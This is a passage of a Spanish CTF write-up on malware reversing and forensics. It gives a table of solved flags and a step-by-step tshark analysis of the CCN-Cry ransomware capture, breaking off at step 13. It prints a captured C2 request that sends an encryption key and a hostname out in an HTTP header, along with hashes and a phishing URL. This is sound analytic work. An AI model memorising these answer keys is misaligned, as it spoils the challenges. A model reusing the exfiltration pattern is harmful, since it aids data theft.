# Retos CTF: procedimiento y análisis de salidas

Reversing y análisis forense

| | |
|---|---|
| **Retos** | CCN-Cry · The Kraken · Spear Phishing (partes 1 y 2) · Go go go! · H0rr0crux |
| **Carpeta** | `/home/kali/Downloads/retosRecuperacion` |
| **Entorno** | Kali Linux, usuario `root`, terminal `zsh` |
| **Autor** | _____ |
| **Fecha** | 12 de noviembre de 2026 |

Cada comando se ha ejecutado y verificado en esa misma ruta. Los binarios maliciosos **nunca** se ejecutan: el análisis es estático o mediante emulación.

# Resultados

Se han resuelto los seis retos (cinco retos, uno de ellos en dos partes). Todas las flags siguen el formato de la plataforma `flag{md5}`: el MD5 se calcula sobre el *valor* encontrado, sin el prefijo `Flag:` y sin salto de línea (`echo -n "valor" | md5sum`). En H0rr0crux la flag es directamente el MD5 del binario malicioso.

| **Reto** | **Valor encontrado** | Flag | **Estado** |
|---|---|---|---|
| CCN-Cry | `JosephPopp1989` | `flag{c890082bbb38d2aad5eb182cac9fbc7e}` | Validada |
| The Kraken | `Kongespeilet1250` | `flag{d11c2e023a6a0fb3105121dade32232b}` | Verificada |
| Spear Phishing (1) | `CVE-2017-0199` | `flag{93b146d21d3bdc8635836f8a11ba62b9}` | Validada |
| Spear Phishing (2) | `http://dagobah.local/logo.doc` | `flag{fb7534ecc904766563ad711331a11121}` | Verificada |
| Go go go! | `RobPike2009` | `flag{f389c15c0ea41f12e53806fba659e2fb}` | Verificada |
| H0rr0crux | `httpd.exe` (Cobalt Strike) | `flag{dbe0e10775e35a58e8ff463ccbe5f7d8}` | Verificada |

**Validada**: aceptada por la plataforma. **Verificada**: comprobada técnicamente (terminador nulo exacto, relleno PKCS#7 válido, extracción byte a byte, o correlación de evidencias + VirusTotal).

**Hallazgos principales**

- **CCN-Cry**: el ransomware envía su propia clave Blowfish al servidor de mando en la cabecera HTTP `Content-type`; la captura de red basta para descifrar. Trampa: solo usa 16 de los 32 caracteres.
- **The Kraken**: ejecutable de 932 bytes comprimido con Crinkler, imports resueltos por hash, flag descifrada con el valor de `GetACP()` y emitida por `OutputDebugStringA` (invisible en consola).
- **Spear Phishing**: RTF sin texto con un objeto `OLE2Link` + URL Moniker que se actualiza al abrir: CVE-2017-0199, URL `http://dagobah.local/logo.doc`.
- **Go go go!**: binario Go para MIPS con *environmental keying* (kernel 4.14.0, 3 CPUs, Linux), tres claves AES (dos señuelo) y flag cifrada con AES-128-CFB.
- **H0rr0crux**: forense de Windows; tras descartar cinco señuelos (SDelete renombrado, PE Look renombrado, VMProtect, un falso `tor.exe` y un `inject.exe` que nunca arrancó), SRUM señala a `httpd.exe`, un *stager* de Cobalt Strike disfrazado de Microsoft, como único responsable del tráfico.

# Índice

**Resultados** 1

**1. Cómo usar este documento** 5

**2. Herramientas y librerías** 6

**3. Preparación (una sola vez)** 6

**4. Reversing: CCN-Cry** 8

4.1. Ficha del reto . . . 8
4.2. Enunciado . . . 8
4.3. Ficheros analizados . . . 8
4.4. Resumen del análisis . . . 8
4.5. Conceptos clave . . . 9
4.6. Procedimiento y análisis . . . 9
4.7. Resultado . . . 21
4.8. Funcionamiento del ransomware . . . 21
4.9. Indicadores de compromiso (IOC) . . . 22
4.10. Técnicas observadas (MITRE ATT&CK) . . . 22
4.11. Contexto: ¿por qué se llama así? . . . 22
4.12. Conclusión . . . 23

**5. Reversing: The Kraken** 24

5.1. Ficha del reto . . . 24
5.2. Enunciado . . . 24
5.3. Ficheros analizados . . . 24
5.4. Resumen del análisis . . . 24
5.5. Conceptos clave . . . 25
5.6. Procedimiento y análisis . . . 25
5.7. Resultado . . . 32
5.8. Imports resueltos por hash . . . 32
5.9. Algoritmo de descifrado . . . 32
5.10. Técnicas observadas (MITRE ATT&CK) . . . 33
5.11. Contexto: ¿por qué se llama así? . . . 33
5.12. Conclusión . . . 33

**6. Reversing: Spear Phishing... Can you catch me? (parte 1)** 34

6.1. Ficha del reto . . . 34
6.2. Enunciado . . . 34
6.3. Ficheros analizados . . . 34
6.4. Resumen del análisis . . . 34

6.5. Conceptos clave . . . 35
6.6. Procedimiento y análisis . . . 35

**7. Reversing: Spear Phishing... Can you catch me? (parte 2) 39**
7.1. Ficheros . . . 39
7.2. Procedimiento y análisis . . . 39
7.3. Resultado . . . 41
7.4. Cómo funciona CVE-2017-0199 . . . 41
7.5. Descarte de CVE similares . . . 42
7.6. Indicadores de compromiso (IOC) . . . 42
7.7. Técnicas observadas (MITRE ATT&CK) . . . 42
7.8. Contexto: ¿por qué se llama así? . . . 42
7.9. Conclusión . . . 42

**8. Reversing: Go go go! 43**
8.1. Ficha del reto . . . 43
8.2. Enunciado . . . 43
8.3. Ficheros analizados . . . 43
8.4. Resumen del análisis . . . 43
8.5. Conceptos clave . . . 44
8.6. Procedimiento y análisis . . . 44
8.7. Resultado . . . 52
8.8. Flujo de `main.main` . . . 52
8.9. Señuelos . . . 53
8.10. Técnicas observadas (MITRE ATT&CK) . . . 53
8.11. Contexto: ¿por qué se llama así? . . . 53
8.12. Conclusión . . . 53

**9. H0rr0crux 54**
9.1. Ficha del reto . . . 54
9.2. Enunciado . . . 54
9.3. Ficheros analizados . . . 54
9.4. Resumen del análisis . . . 54
9.5. Conceptos clave . . . 55
9.6. Procedimiento y análisis . . . 55
9.7. Resultado . . . 67
9.8. Línea de tiempo (20/12/2021, UTC) . . . 67
9.9. Candidatos y señuelos . . . 67
9.10. Qué aporta cada artefacto . . . 68
9.11. ¿Por qué Cobalt Strike y no Gozi? . . . 68
9.12. Indicadores de compromiso (IOC) . . . 69
9.13. Técnicas observadas (MITRE ATT&CK) . . . 69

9.14. Contexto: ¿por qué se llama así? . . . 69
9.15. Conclusión . . . 69

**A. Cómo funciona cada script** **70**
A.1. `pe_info.py` . . . 70
A.2. `kraken_emu.py` . . . 70
A.3. `kraken_solve.py` . . . 71
A.4. `rtf_url.py` . . . 73
A.5. `go_pclntab.py` . . . 73
A.6. `go_mips_disasm.py` . . . 74
A.7. `go_decrypt.py` . . . 75
A.8. `prefetch_timeline.sh` . . . 76
A.9. `amcache_dump.py` . . . 76
A.10. `evtx_grep.py` . . . 77
A.11. `evtx_range.py` . . . 77
A.12. `srum_net.py` . . . 78
A.13. `mft_record.py` . . . 79
A.14. `vt_lookup.sh` . . . 81

**B. Referencias** **81**

# 1. Cómo usar este documento

- Cada carpeta de reto en `/home/kali/Downloads/retosRecuperacion` contiene los ficheros del reto **y sus scripts**. Todos los comandos se ejecutan **dentro** de la carpeta del reto; el primer paso de cada sección hace el `cd`. No se usan variables como `$R` o `$S`.
- **Caja oscura**: comando. Se copia entero y se pega en la terminal (`Ctrl+Shift+V`). Si una línea termina en \, el comando sigue en la siguiente: copia el bloque completo.
- **Qué hace cada parte**: programa, opciones y librería que intervienen.
- **Salida numerada**: lo que debe aparecer. Los números de la izquierda **no** forman parte de la salida; sirven para señalar líneas en el análisis.
- **Análisis de la salida**: qué significa cada línea relevante.
- **Caja naranja (Pista)**: la línea exacta que permite avanzar y qué se hace a continuación.
- **Errores posibles**: mensajes que pueden aparecer, si son graves o no, y cómo resolverlos.

Si cierras la terminal no pasa nada: basta con volver a ejecutar el `cd` del paso 1 del reto en el que estés. Excepción: en CCN-Cry, los pasos 20 y 21 usan variables (`KEY`, `IV`) y deben ejecutarse en la misma terminal.

**Seguridad**

Contiene malware real. No ejecutes los binarios (salvo el paso opcional de Go con `qemu`), no abras `Nominas.rtf` con Word/WordPad y trabaja en la máquina virtual con una instantánea previa.

## 2. Herramientas y librerías

| Herramienta | Qué hace y dónde se usa |
|---|---|
| `7z`, `unrar`, `unzip` | Descompresores. `7z` soporta zip cifrados con AES y 7z; `unrar` es el oficial de RAR. |
| `md5sum`, `sha1sum` | Calculan huellas (hashes) para verificar integridad e identificar ficheros. |
| `xxd`, `strings`, `file` | Ver bytes en hexadecimal, extraer texto legible e identificar el tipo de fichero. |
| `tshark`, `capinfos` | Wireshark en terminal (librería *libwireshark*): estadísticas, filtros, reconstrucción de conversaciones y extracción de ficheros de una captura. |
| `objdump`, `readelf` | GNU binutils: símbolos importados, cabeceras, secciones y desensamblado de ejecutables. |
| `openssl` | Librería criptográfica *libcrypto*; descifra Blowfish-CBC (proveedor *legacy*). |
| `rtfobj` | De *oletools*: extrae objetos OLE de documentos RTF y reconoce exploits conocidos. |
| `qemu-mips` | De *qemu-user*: ejecuta binarios de otra arquitectura traduciendo sus instrucciones. |
| `sccainfo` | De *libscca*: lee ficheros Prefetch (`.pf`) de Windows, incluidos los comprimidos de Windows 10. |
| `esedbexport` | De *libesedb*: exporta bases de datos ESE (como SRUM) a texto. |
| `jq`, `curl` | Peticiones HTTP a la API de VirusTotal y lectura de su respuesta JSON. |
| **Librería Python** | |
| `pefile` | Interpreta ejecutables PE de Windows (cabeceras, secciones, recursos de versión, imports). |
| `unicorn` | Emulador de CPU: ejecuta código máquina en un procesador simulado, sin sistema operativo, de forma controlada. |
| `capstone` | Desensamblador: convierte bytes en instrucciones de x86, MIPS, ARM... |
| `pyelftools` | Lee ejecutables ELF (secciones, segmentos); se usa para la tabla `.gopclntab` de Go. |
| `pycryptodome` | Algoritmos criptográficos (AES en modo CFB). |
| `regipy` | Lee ficheros de registro de Windows (`Amcache.hve`). |
| `python-evtx` | Lee registros de eventos de Windows (`.evtx`) y los convierte a XML. |

## 3. Preparación (una sola vez)

Copia `retos_scripts.zip` en `/home/kali/Downloads`. Contiene la misma estructura de carpetas que `retosRecuperacion`: al descomprimirlo, cada carpeta de reto recibe sus scripts y en la raíz aparece `instalar.sh`. No modifica los ficheros de los retos.

| Carpeta | Scripts que recibe |
|---|---|
| `Reversing CCN-Cry` | ninguno (solo herramientas del sistema) |
| `Reversing The Kraken` | `pe_info.py`, `kraken_emu.py`, `kraken_solve.py`, `kernel32_exports.txt` |
| `Reversing Spear Phising...` (y - pt 2) | `rtf_url.py` |
| `Reversing Go go go!` | `go_pclntab.py`, `go_mips_disasm.py`, `go_decrypt.py` |
| `H0rr0crux` | `prefetch_timeline.sh`, `amcache_dump.py`, `evtx_grep.py`, `evtx_range.py`, `srum_net.py`, `mft_record.py`, `pe_info.py`, `vt_lookup.sh` |

### Paso 1. Descomprimir los scripts en las carpetas de los retos

**Para qué:** Copia `retos_scripts.zip` en `/home/kali/Downloads`. El zip contiene la misma estructura de carpetas: al descomprimirlo, cada carpeta de reto recibe sus scripts (no toca los ficheros de los retos).

```
(root@kali)-[/home/kali/Downloads]#
cd /home/kali/Downloads && unzip -o retos_scripts.zip && ls retosRecuperacion/*
```

**Qué hace cada parte**

| | |
|---|---|
| `unzip -o` | descomprime y sobrescribe sin preguntar (solo los scripts) |
| `ls retosRecuperacion/*` | lista el contenido de cada carpeta de reto |

**Errores posibles**

| | |
|---|---|
| `unzip: cannot find or open retos_scripts.zip` | el zip no está en `/home/kali/Downloads`: cópialo allí |

### Paso 2. Instalar herramientas y librerías

**Para qué:** Instala todo lo necesario en un solo paso (tarda unos minutos la primera vez).

```
(root@kali)-[/home/kali/Downloads]#
bash /home/kali/Downloads/retosRecuperacion/instalar.sh
```

**Qué hace cada parte**

| | |
|---|---|
| `bash instalar.sh` | ejecuta el script de instalación: `apt install` de las herramientas y `pip install` de las librerías de Python |
| `-break-system-packages` | (dentro del script) permite a pip instalar en el Python del sistema de Kali; adecuado en una VM de laboratorio |
| `-force-confold` | (dentro del script) si apt actualiza algo, conserva la configuración existente sin preguntar |

**Salida esperada (resumen)**

```
1  ...
2  Python OK
3  OK  7z
4  OK  unrar
5  OK  tshark
6  OK  rtfobj
7  OK  sccainfo
8  OK  esedbexport
9  OK  qemu-mips
10 OK  jq
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| **2** | `Python OK` | todas las librerías de Python se importan correctamente |
| **9** | `OK qemu-mips` | cada `OK` es una herramienta encontrada; si alguna dice `FALTA`, no se instaló |

**Errores posibles**

| | |
|---|---|
| `WARNING: Running pip as the 'root' user` | aviso normal al usar pip como root; no es un error |
| `FALTA ...` | vuelve a ejecutar `instalar.sh` y revisa el mensaje de apt |

# 4. Reversing: CCN-Cry

## 4.1. Ficha del reto

| | |
|---|---|
| Categoría | Reversing / forense de red |
| Dificultad | 2/5 |
| Contraseña | `infected` (zip) |
| Objetivo | Descifrar `Secret.txt.CCN_CRY` y obtener la flag |
| Herramientas | `7z`, `tshark`, `capinfos`, `objdump`, `strings`, `openssl`, `xxd` |

## 4.2. Enunciado

> *Un equipo de la organización ha quedado inutilizado. Según las evidencias recogidas hasta el momento, parece que se descargó y ejecutó algún ransomware. Entre los ficheros afectados se encuentra "Secret.txt.CCN_CRY", el cual necesitamos descifrar con urgencia. ¿Nos ayudas a descifrarlo? La contraseña del zip es* ***infected****.*

## 4.3. Ficheros analizados

| Fichero | Bytes | Descripción |
|---|---|---|
| `evidencia*.zip` | 41.844 | Zip cifrado (AES) del enunciado |
| `MD5 fc04df37aeca594a00cb1844c3bbb980` | | `SHA1 d3b635adf720365ea53dcf42751c4e4eff509f05` |
| `Secret*.CCN_CRY` | 24 | Fichero cifrado por el ransomware |
| `MD5 fba2221b98cb79397ef87876c1c70938` | | `SHA1 2f60158a68647d65b93c8fb18a34dd4e7e1c59fe` |
| `incident-a1000032.pcapng` | 197.076 | Captura de red del incidente |
| `MD5 2bff4bbc2a0d8a9b7457e5db8f09a5af` | | `SHA1 51a1d55db67e885032ed22fb66dcd34890eb0d7c` |
| `http_objs/wget.tar.gz` | 5.811 | Descarga de la víctima (extraída de la captura) |
| `MD5 d3bfdc63d490577c57ca3ea942cb42ea` | | `SHA1 3c1c96a6238c99b9d36ee79da5d70fe48483b350` |
| `ccn_cry` | 14.936 | Ransomware: ELF x86-64 sin símbolos |
| `MD5 e1e1d64b6d6349ed81fa4ee0913ef931` | | `SHA1 c6828b737cf465aaa30b1a6059653c2f0224b25e` |
| `Secret.txt` | 20 | Fichero descifrado |
| `MD5 22c4d9e76544c9d7300da7c09752bea3` | | `SHA1 ebec187d1d87907d30ec480fad170e513649a1e3` |

## 4.4. Resumen del análisis

1. `evidencia.zip` (cifrado AES) contiene `incident-a1000032.pcapng`, la captura de red del incidente.
2. La víctima (`192.168.1.41`, *hostname* `oat12`) descarga por HTTP `wget.tar.gz` desde `192.168.1.37`; dentro está el ransomware `ccn_cry` (ELF x86-64).
3. El ransomware genera con `srand(time(0))/rand()` una clave de 32 caracteres y un IV de 8, cifra con Blowfish-CBC y envía `clave:iv:hostname` al servidor de mando en la cabecera `Content-type`.
4. Con la clave (**solo sus 16 primeros caracteres**, que es lo que usa el binario) y el IV recuperados de la captura, OpenSSL descifra el fichero.

## 4.5. Conceptos clave

| | |
|---|---|
| **Ransomware** | malware que cifra los ficheros de la víctima y pide un rescate por la clave. |
| **Captura de red (.pcapng)** | fichero con los paquetes que pasaron por la red; se analiza con Wireshark/tshark. |
| **C2 (mando y control)** | servidor del atacante con el que se comunica el malware. |
| **Cifrado simétrico** | la misma clave cifra y descifra. Si se recupera la clave, se recuperan los datos. |
| **Blowfish** | algoritmo de cifrado simétrico de bloques de 64 bits (Bruce Schneier, 1993). |
| **CBC** | modo de cifrado en el que cada bloque depende del anterior; necesita un vector de inicialización. |
| **IV (vector de inicialización)** | valor aleatorio que se combina con el primer bloque; no es secreto, pero hace falta para descifrar. |
| **MD5** | función hash: huella de 128 bits de un fichero o texto. Sirve para verificar integridad. |
| **ELF / stripped** | formato de ejecutable de Linux; stripped = sin nombres de funciones internas. |
| **srand(time) / rand()** | generador pseudoaleatorio sembrado con la hora: predecible si se conoce el momento. |

## 4.6. Procedimiento y análisis

**Carpeta:** `/home/kali/Downloads/retosRecuperacion/Reversing CCN-Cry`

### Paso 1. Entrar en la carpeta del reto

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion]#
cd '/home/kali/Downloads/retosRecuperacion/Reversing CCN-Cry' && ls -l
```

**Qué hace cada parte**

| | |
|---|---|
| `cd '...'` | entra en la carpeta; las comillas simples protegen los espacios |
| `ls -l` | lista con tamaño y fecha |

**Salida esperada**

```
total 568
-rw-r--r-- 1 root root 301223 Nov 12 06:52 Capture.PNG
-rw-r--r-- 1 root root     89 Nov 12 15:02 LEEME.txt
-rw-r--r-- 1 root root     24 Nov 12 06:52 Secret-fba2221b98cb79397ef87876c1c70938.txt.
    ↪ CCN_CRY
-rw-r--r-- 1 root root     20 Nov 12 06:56 Secret.txt
-rwxr-xr-x 1 root root  14936 Jan  9  2019 ccn_cry
-rw-r--r-- 1 root root  41844 Nov 12 06:52 evidencia-fc04df37aeca594a00cb1844c3bbb980.zip
drwxr-xr-x 2 root root   4096 Nov 12 06:56 http_objs
-rw-r--r-- 1 root root 197076 Jan  9  2019 incident-a1000032.pcapng
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| 4 | `-rw-r-r- 1 root root 24 Nov 12 06:52 Secret-fba2221b98cb79397ef8...` | el fichero cifrado por el ransomware (24 bytes) |
| 7 | `-rw-r-r- 1 root root 41844 Nov 12 06:52 evidencia-fc04df37aeca594a0...` | la evidencia: un zip de 41 KB |

### Paso 2. Verificar integridad (MD5)

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing CCN-Cry]#
md5sum evidencia*.zip Secret*.CCN_CRY
```

**Qué hace cada parte**

| | |
|---|---|
| `md5sum` | calcula la huella MD5 de cada fichero |
| `evidencia*.zip` | comodín: cualquier nombre que empiece por `evidencia` y acabe en `.zip` |

**Salida esperada**

```
1 fc04df37aeca594a00cb1844c3bbb980  evidencia-fc04df37aeca594a00cb1844c3bbb980.zip
2 fba2221b98cb79397ef87876c1c70938  Secret-fba2221b98cb79397ef87876c1c70938.txt.CCN_CRY
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| 1 | `fc04df37aeca594a00cb1844c3bbb980 evidencia-fc04df37aeca594a00cb1844c3...` | coincide con el MD5 publicado del zip |
| 2 | `fba2221b98cb79397ef87876c1c70938 Secret-fba2221b98cb79397ef87876c1c70...` | coincide con el MD5 publicado del fichero cifrado |

**Errores posibles**

| | |
|---|---|
| `no matches found: ...` | zsh no encuentra el fichero del comodín: no estás en la carpeta del reto. Ejecuta el `cd` del paso 1 de la sección. |

### Paso 3. Ver el fichero cifrado en hexadecimal

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing CCN-Cry]#
xxd Secret*.CCN_CRY
```

**Qué hace cada parte**

| | |
|---|---|
| `xxd` | volcado hexadecimal: offset, bytes en hex y su representación ASCII |

**Salida esperada**

```
1 00000000: ea04 6223 4ee0 a00d eebe f992 c483 6467  ..b#N.........dg
2 00000010: 16a1 8947 2475 c3fc                      ...G$u..
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| 1 | `00000000: ea04 6223 4ee0 a00d eebe f992 c483 6467 ..b#N.........dg` | primeros 16 bytes: sin texto legible, todo cifrado |
| 2 | `00000010: 16a1 8947 2475 c3fc ...G$u..` | 8 bytes más: total 24 = 3 bloques de 8 |

**Pista (línea 2)**

24 bytes es múltiplo de 8: cifrado de bloque de 64 bits (Blowfish, DES...).

**Siguiente paso:** Buscar en la evidencia qué algoritmo y qué clave se usaron.

### Paso 4. Primera rareza: unzip no puede abrirlo

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing CCN-Cry]#
unzip -P infected evidencia*.zip
```

**Qué hace cada parte**

| | |
|---|---|
| `unzip -P infected` | intenta descomprimir con la contraseña `infected` |

**Salida esperada**

```
1 Archive:  evidencia-fc04df37aeca594a00cb1844c3bbb980.zip
2    skipping: incident-a1000032.pcapng  need PK compat. v5.1 (can do v4.6)
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| **2** | `skipping: incident-a1000032.pcapng need PK compat. v5.1 (can do v4.6)` | **no es un fallo del procedimiento**: indica que el zip usa una versión de formato (5.1 = cifrado AES) que unzip no soporta |

**Pista (línea 2)**

El zip está cifrado con AES.

**Siguiente paso:** Usar `7z`, que sí soporta AES.

### Paso 5. Confirmar el cifrado AES del zip

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing CCN-Cry]#
7z l -slt -pinfected evidencia*.zip | grep -E '^(Path|Size|Method|Encrypted)'
```

**Qué hace cada parte**

| | |
|---|---|
| `7z l -slt` | lista el contenido con detalles técnicos |
| `-pinfected` | contraseña pegada a `-p` |
| `grep -E '^(...)'` | deja solo las líneas que empiezan por esas palabras |

**Salida esperada**

```
1 Path = evidencia-fc04df37aeca594a00cb1844c3bbb980.zip
2 Path = incident-a1000032.pcapng
3 Size = 197076
4 Encrypted = +
5 Method = AES-128 Deflate
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| **2** | `Path = incident-a1000032.pcapng` | dentro hay una captura de red `.pcapng` |
| **4** | `Encrypted = +` | `+` = cifrado |
| **5** | `Method = AES-128 Deflate` | método AES-128 + compresión Deflate |

### Paso 6. Extraer la captura

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing CCN-Cry]#
7z x -y -pinfected evidencia*.zip | tail -3 && ls -l incident-a1000032.pcapng
```

**Qué hace cada parte**

| | |
|---|---|
| `7z x -y` | extrae respondiendo sí a todo |
| `tail -3` | últimas 3 líneas del resumen |

**Salida esperada**

```
1 Size:       197076
2 Compressed: 41844
3 -rw-r--r-- 1 root root 197076 Jan  9  2019 incident-a1000032.pcapng
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| **1** | `Size: 197076` | tamaño descomprimido: 197.076 bytes |
| **3** | `-rw-r-r- 1 root root 197076 Jan 9 2019 incident-a1000032.pcapng` | la captura ya está en la carpeta |

### Paso 7. Resumen de la captura

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing CCN-Cry]#
capinfos incident-a1000032.pcapng | grep \
  -E 'File type|Number of packets|First packet|Last packet|Capture duration'
```

**Qué hace cada parte**

| | |
|---|---|
| `capinfos` | programa del paquete de Wireshark: resume una captura |

**Salida esperada**

```
File type:           Wireshark/... - pcapng
Number of packets:   2112
Capture duration:    116.876137466 seconds
First packet time:   2019-01-09 17:14:17.835216654
Last packet time:    2019-01-09 17:16:14.711354120
                     Number of packets = 2112
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| **2** | `Number of packets: 2112` | 2.112 paquetes |
| **3** | `Capture duration: 116.876137466 seconds` | menos de 2 minutos de tráfico |
| **4** | `First packet time: 2019-01-09 17:14:17.835216654` | 9 de enero de 2019: fecha del incidente |

### Paso 8. Protocolos presentes

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing CCN-Cry]#
tshark -r incident-a1000032.pcapng -q -z io,phs
```

**Qué hace cada parte**

| | |
|---|---|
| `tshark -r` | lee la captura |
| `-q` | no lista paquete a paquete |
| `-z io,phs` | estadística de jerarquía de protocolos |

**Salida esperada**

```
Running as user "root" and group "root". This could be dangerous.

===================================================================
Protocol Hierarchy Statistics
Filter:

eth                                      frames:2112 bytes:126996
  ip                                     frames:2112 bytes:126996
    tcp                                  frames:2112 bytes:126996
      http                               frames:3 bytes:6574
        media                            frames:1 bytes:6173
===================================================================
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| **1** | `Running as user "root" and group "root". This could be dangerous.` | aviso de tshark por ejecutarse como root: **no es un error** |
| **9** | `tcp frames:2112 bytes:126996` | todo el tráfico es TCP |
| **10** | `http frames:3 bytes:6574` | solo 3 tramas HTTP: ahí está lo interesante |
| **11** | `media frames:1 bytes:6173` | 1 trama lleva un fichero (media type) |

**Pista (línea 10)**

Solo hay 3 tramas HTTP entre 2.112 paquetes.

**Siguiente paso:** Ver qué peticiones HTTP se hicieron.

### Paso 9. Conversaciones TCP

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing CCN-Cry]#
tshark -r incident-a1000032.pcapng -q -z conv,tcp | head -9
```

Qué hace cada parte

| | |
|---|---|
| `-z conv,tcp` | tabla de conversaciones TCP: extremos, tramas y bytes |
| `head -9` | solo las primeras 9 líneas |

Salida esperada

```
Running as user "root" and group "root". This could be dangerous.
================================================================================
TCP Conversations
Filter:<No Filter>
                                                               |       <-      | |       ->
    ↪ | |     Total     |    Relative    |   Duration   |
                                                               | Frames  Bytes | | Frames  Bytes
    ↪ | | Frames  Bytes |      Start     |              |
192.168.1.41:60212         <-> 192.168.1.37:80                    4 6379 bytes       6 552
    ↪ bytes      10 6931 bytes     0.000000000         0.0031
192.168.1.41:45988         <-> 192.168.1.37:8080                  3 206 bytes       5 459 bytes
    ↪        8 665 bytes     0.007735631         0.0010
192.168.1.41:63903         <-> 192.168.1.37:22                    1 58 bytes        2 120 bytes
    ↪        3 178 bytes   112.059715807         0.0003
192.168.1.41:63903         <-> 192.168.1.37:80                    1 58 bytes        2 120 bytes
    ↪        3 178 bytes   113.161928249         0.0003
```

Análisis de la salida

| Línea | Texto | Qué significa |
|---|---|---|
| **7** | `192.168.1.41:60212 <-> 192.168.1.37:80 4 6379...` | víctima `.41` contra `.37` puerto 80 (HTTP): 6.931 bytes, la descarga |
| **8** | `192.168.1.41:45988 <-> 192.168.1.37:8080 3 206 ...` | víctima contra puerto 8080: 665 bytes, una petición corta |
| **9** | `192.168.1.41:63903 <-> 192.168.1.37:22 1 58 b...` | puerto origen fijo 63903 contra muchos puertos: escaneo de puertos |

### Paso 10. Peticiones HTTP

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing CCN-Cry]#
tshark -r incident-a1000032.pcapng -Y http.request -T fields -e frame.number -e ip.src \
  -e ip.dst -e tcp.dstport -e http.host -e http.request.uri -e http.content_type
```

Qué hace cada parte

| | |
|---|---|
| `-Y http.request` | filtro: solo peticiones HTTP |
| `-T fields` | salida en columnas |
| `-e` | cada `-e` añade una columna: trama, IP origen, IP destino, puerto, host, URI y cabecera Content-type |

Salida esperada

```
Running as user "root" and group "root". This could be dangerous.
4       192.168.1.41    192.168.1.37    80      192.168.1.37    /wget.tar.gz
14      192.168.1.41    192.168.1.37    8080    www.aarkaposleeqaasssf.tk       /user.php
    ↪   gAu,UovL8;,B2fOT1xRZa?r3wpvD856r:B;?ShTiD:oat12
```

Análisis de la salida

| Línea | Texto | Qué significa |
|---|---|---|
| **2** | `4 192.168.1.41 192.168.1.37 80 192.168.1.37 /wget....` | trama 4: la víctima descarga `wget.tar.gz` (nombre de herramienta legítima como disfraz) |
| **3** | `14 192.168.1.41 192.168.1.37 8080 www.aarkaposleeqaasssf...` | trama 14: petición a `www.aarkaposleeqaasssf.tk:8080/user.php` (dominio aleatorio, típico de malware) |

**Pista (línea 3)**

La última columna (Content-type) no es un tipo MIME: `gAu,UovL8;,B2fOT...:B;?ShTiD:oat12`. Tres campos separados por `:`; el último es un nombre de equipo.

**Siguiente paso:** Ver la petición completa y analizar qué programa la genera.

### Paso 11. Petición completa al servidor del atacante

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing CCN-Cry]#
tshark -r incident-a1000032.pcapng -q -z follow,tcp,ascii,1
```

Qué hace cada parte

| | |
|---|---|
| `-z follow,tcp,ascii,1` | reconstruye la conversación TCP número 1 en texto |

Salida esperada

```
Running as user "root" and group "root". This could be dangerous.

===================================================================
Follow: tcp,ascii
Filter: tcp.stream eq 1
Node 0: 192.168.1.41:45988
Node 1: 192.168.1.37:8080
121
GET /user.php HTTP/1.0
Host: www.aarkaposleeqaasssf.tk
Content-type: gAu,UovL8;,B2fOT1xRZa?r3wpvD856r:B;?ShTiD:oat12


===================================================================
```

Análisis de la salida

| Línea | Texto | Qué significa |
|---|---|---|
| **9** | `GET /user.php HTTP/1.0` | petición HTTP 1.0 sin cuerpo |
| **10** | `Host: www.aarkaposleeqaasssf.tk` | servidor de mando y control (C2) |
| **11** | `Content-type: gAu,UovL8;,B2fOT1xRZa? r3wpvD856r:B;?ShTiD:oat12` | el dato exfiltrado: 32 caracteres : 8 caracteres : hostname |

**Pista (línea 11)**

Probable clave (32) e IV (8) del cifrado, enviados al atacante.

**Siguiente paso:** Extraer el programa descargado y confirmarlo en su código.

### Paso 12. Extraer los ficheros transferidos

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing CCN-Cry]#
rm -rf http_objs && tshark -r incident-a1000032.pcapng --export-objects http,http_objs > \
  /dev/null && ls -l http_objs
```

**Qué hace cada parte**

| | |
|---|---|
| `rm -rf http_objs` | borra la carpeta si ya existe, para poder repetir el paso |
| `-export-objects http,http_objs` | guarda en `http_objs/` los ficheros descargados por HTTP |
| `> /dev/null` | oculta la salida normal |

**Salida esperada**

```
1 Running as user "root" and group "root". This could be dangerous.
2 total 8
3 -rw-r--r-- 1 root root 5811 Nov 12 15:07 wget.tar.gz
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| **3** | `-rw-r-r- 1 root root 5811 Nov 12 15:07 wget.tar.gz` | el fichero de 5.811 bytes descargado por la víctima |

### Paso 13. Sacar el ransomware

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing CCN-Cry]#
tar -tzvf http_objs/wget.tar.gz && tar -xzf http_objs/wget.tar.gz && file ccn_cry && \
  md5sum ccn_cry
```

**Qué hace cada parte**

| | |
|---|---|
| `tar -tzvf` | lista el contenido (t), gzip (z), detallado (v), fichero (f) |
| `tar -xzf` | extrae (x) |
| `file` | identifica el tipo por el contenido |

**Salida esperada**

```
1 -rwxr-xr-x root/root     14936 2019-01-09 17:03 ccn_cry
2 ccn_cry: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked,
      ↪ interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5
      ↪ fe8fb54bbc1f32d570ad4892be5b21db657f966, stripped
